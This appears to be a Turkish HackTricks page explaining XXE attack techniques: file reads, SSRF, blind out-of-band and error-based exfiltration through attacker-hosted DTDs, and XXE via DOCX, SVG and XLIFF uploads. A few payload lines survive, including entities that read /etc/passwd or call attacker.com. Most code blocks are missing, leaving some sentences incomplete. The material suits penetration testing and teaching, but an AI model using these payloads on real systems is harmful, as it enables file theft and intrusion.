XXE - XEE - XML External Entity
Last updated
Last updated
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
Varlıklar aracılığıyla Veri Temsili: XML'deki varlıklar, <
ve >
ile çelişmemek için <
ve >
gibi özel karakterlerin dahil edilmesi de dahil olmak üzere verilerin temsilini sağlar.
XML Elemanlarını Tanımlama: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar değişebilir.
Belge Türü Tanımı (DTD): DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
Özel ve Dış Varlıklar: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>
Parametre Varlıkları ile XXE Tespiti: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Bu saldırıda basit bir yeni VARLIK beyanının çalışıp çalışmadığını test edeceğim.
Farklı yollarla /etc/passwd
dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: C:\windows\system32\drivers\etc\hosts
Bu ilk durumda, SYSTEM "**file:///**etc/passwd" ifadesinin de çalışacağını unutmayın.
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
Bu üçüncü durumda Element stockCheck
'i ANY olarak tanımladığımıza dikkat edin.
Java tabanlı uygulamalarda, bir yük ile bir dizinin içeriğini listelemek mümkün olabilir (dosya yerine sadece dizini istemek):
Bir XXE, bir bulut içindeki SSRF'yi kötüye kullanmak için kullanılabilir.
Daha önce bahsedilen teknik kullanarak, sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de XML varlıklarına izin verilmediğindendir, bu durumda XML parametre varlıkları kullanmayı deneyebilirsiniz:
Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için, bunu dışarıya sızdırmayı deneyebilirsiniz _ftp://_ bu temel sunucuyu kullanarak örneğin xxe-ftp-server.rb). Bu açıklama, Portswigger laboratuvarında burada** temel alınmıştır.**
Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir:
Yapı şu şekildedir:
The steps executed by this DTD include:
Parametre Varlıklarının Tanımı:
Bir XML parametre varlığı, %file
, /etc/hostname
dosyasının içeriğini okuyarak oluşturulur.
Başka bir XML parametre varlığı, %eval
, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan %exfiltrate
'i bildirir. %exfiltrate
varlığı, URL'nin sorgu dizesi içinde %file
varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
Varlıkların İcrası:
%eval
varlığı kullanılır, bu da %exfiltrate
varlığının dinamik bildirimini gerçekleştirir.
Ardından %exfiltrate
varlığı kullanılır, dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetikler.
Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle http://web-attacker.com/malicious.dtd
gibi bir URL'de.
XXE Payload: Zayıf bir uygulamayı istismar etmek için, saldırgan bir XXE payload gönderir:
Bu yük, bir XML parametre varlığı %xxe
tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından, ayrıştırıcı DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve /etc/hostname
dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
Bu durumda, sunucunun bir hata mesajı içinde bir dosyanın içeriğini gösterecek kötü niyetli bir DTD yüklemesini sağlayacağız (bu, hata mesajlarını görebiliyorsanız geçerlidir). Buradan örnek.
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, /etc/passwd
dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
/etc/passwd
dosyasının içeriğini içeren file
adında bir XML parametre varlığı tanımlanır.
error
adında başka bir XML parametre varlığı için dinamik bir tanım içeren eval
adında bir XML parametre varlığı tanımlanır. Bu error
varlığı değerlendirildiğinde, ismi olarak file
varlığının içeriğini içeren var olmayan bir dosyayı yüklemeye çalışır.
eval
varlığı çağrılır, bu da error
varlığının dinamik tanımına yol açar.
error
varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak /etc/passwd
dosyasının içeriğini içeren bir hata mesajı üretir.
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
Upon execution, the web server's response should include an error message displaying the contents of the /etc/passwd
file.
Lütfen harici DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini, ancak bunun iç DTD'de yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.
Peki, dışa dönük etkileşimlerin engellendiği durumlarda kör XXE zafiyetleri hakkında ne düşünüyorsunuz (harici bağlantılar mevcut değil)?
XML dil spesifikasyonundaki bir boşluk, bir belgenin DTD'si iç ve dış bildirimleri birleştirdiğinde hata mesajları aracılığıyla hassas verileri açığa çıkarabilir. Bu sorun, harici olarak tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
Sunucunun dosya sisteminde /usr/local/app/schema.dtd
konumunda custom_entity
adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek /etc/passwd
dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
local_dtd
adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
Dış DTD'de orijinal olarak tanımlanan custom_entity
XML parametre varlığı için bir yeniden tanım yapılır; bu, bir hata tabanlı XXE istismarı kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve /etc/passwd
dosyasının içeriğini açığa çıkarır.
local_dtd
varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan custom_entity
'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur.
Gerçek dünya örneği: GNOME masaüstü ortamını kullanan sistemler genellikle /usr/share/yelp/dtd/docbookx.dtd
konumunda ISOamso
adlı bir varlık içeren bir DTD'ye sahiptir.
Bu teknik içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir. Bunu **sunucunun kullandığı aynı İşletim Sistemi / Yazılımı yükleyerek ve bazı varsayılan DTD'leri arayarak veya sistemler içindeki varsayılan DTD'lerin bir listesini alarak ve bunlardan herhangi birinin var olup olmadığını kontrol ederek yapabilirsiniz:
Daha fazla bilgi için https://portswigger.net/web-security/xxe/blind adresini kontrol edin.
Aşağıdaki harika github reposunda sistemde mevcut olabilecek DTD'lerin yollarını bulabilirsiniz:
Ayrıca, eğer kurban sisteminin Docker imajına sahipseniz, aynı repo içindeki aracı kullanarak imajı tarayabilir ve sistemde mevcut olan DTD'lerin yolunu bulabilirsiniz. Nasıl yapılacağını öğrenmek için github'un Readme'sini okuyun.
Bu saldırının daha derinlemesine bir açıklaması için, Detectify'den bu harika yazının ikinci bölümüne bakın.
Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır, bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
Bu güvenlik açığını test etmek için, bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
Belge çıkarıldıktan sonra, ./unzipped/word/document.xml
konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
Değiştirilen XML satırları, iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir.
jar protokolü yalnızca Java uygulamaları içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için PKZIP arşivinde (örneğin, .zip
, .jar
, vb.) dosya erişimini sağlamak için tasarlanmıştır.
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi istismar etmek için süper kullanışlıdır. Sistem DTD dosyalarını nasıl istismar edeceğinizi öğrenmek için bu bölüme bakın.
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
Belirtilen bir konumdan, örneğin https://download.website.com/archive.zip
, zip arşivini indirmek için bir HTTP isteği yapılır.
Arşivi içeren HTTP yanıtı, genellikle /tmp/...
gibi bir konumda sistemde geçici olarak saklanır.
Arşiv, içeriğine erişmek için çıkarılır.
Arşiv içindeki belirli dosya, file.zip
, okunur.
İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla bu depodaki araçlar kullanılabilir; bunlar arasında bir Python sunucusu (slow_http_server.py
) ve bir Java sunucusu (slowserver.jar
) bulunmaktadır.
Geçici bir dizine dosya yazmak, yol geçişi ile ilgili başka bir zafiyeti artırmaya yardımcı olabilir (yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme, vb. gibi).
Windows sunucularında, bir responder.py işleyicisi ayarlayarak web sunucusu kullanıcısının NTML hash'ini almak mümkündür:
ve aşağıdaki isteği göndererek
Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da DOCTYPE
öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir XInclude
saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından oluşturulan bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir XInclude
saldırısını gerçekleştirmek için, XInclude
ad alanı beyan edilmeli ve hedef dış varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
Check https://portswigger.net/web-security/xxe for more info!
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
Kullanıcılar görüntü yüklediğinde, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatlar bekleyen uygulamalar için bile, sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla komutları çalıştırmayı denemeyi içerir:
Her iki durumda da, SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır ve bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
Daha fazla bilgi için https://portswigger.net/web-security/xxe adresini kontrol edin!
Okunan dosyanın veya yürütme sonucunun ilk satırı, oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.
Aşağıdaki gönderiyi okuyarak bir PDF dosyasını yükleyerek XXE'yi nasıl istismar edeceğinizi öğrenin:
PDF Upload - XXE and CORS bypassEğer bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi istismar etmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
O zaman aşağıdaki isteği, aynı sonuçla gönderebilirsiniz:
İsteği değiştirmek için “Content Type Converter“ adlı bir Burp Eklentisi kullanabilirsiniz. Burada bu örneği bulabilirsiniz:
Başka bir örnek burada bulunabilir.
Bu yalnızca XML sunucusu data://
protokolünü kabul ediyorsa çalışır.
Burada ["Encode Recipe" of cyberchef kullanabilirsiniz ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7'ye dönüştürmek için.
Eğer web PHP kullanıyorsa, file:/
yerine php wrappersphp://filter/convert.base64-encode/resource=
kullanarak iç dosyalara erişebilirsiniz.
Eğer web Java kullanıyorsa jar: protokolünü kontrol edebilirsiniz.
https://github.com/Ambrotd/XXE-Notes adresinden bir hile Bir varlık içinde bir varlık oluşturabilir, bunu html varlıkları ile kodlayabilir ve ardından dtd yüklemek için çağırabilirsiniz. Kullanılan HTML Varlıkları'nın sayısal olması gerektiğini unutmayın (örneğin [bu örnekte](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD örneği:
Çıkar index.php
Eğer PHP "expect" modülü yüklüyse
Bu örnek, https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe adresinden esinlenmiştir.
XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılan XML tabanlı bir formattır.
Aşağıdaki içerikle sunucuya bir istek yapılır:
Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bildirimleriyle ilgili bir sorun olduğunu belirtir:
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren Burp Collaborator'da bir kayıt alınır.
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için, Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt verir, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösterir:
Hata mesajında dosyanın içeriğini dahil etmek için, DTD dosyası ayarlanır:
Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Error-Based tekniklerini kullanan başarılı bir XXE (XML External Entity) saldırısını gösterir.
XXE zafiyetini istismar etmek için geçerli RSS formatında XML.
Saldırganın sunucusuna basit HTTP isteği
PHP base64 filtresi kullanarak
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın readObject metoduna rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme yetkisi kazanır.
Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarma: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)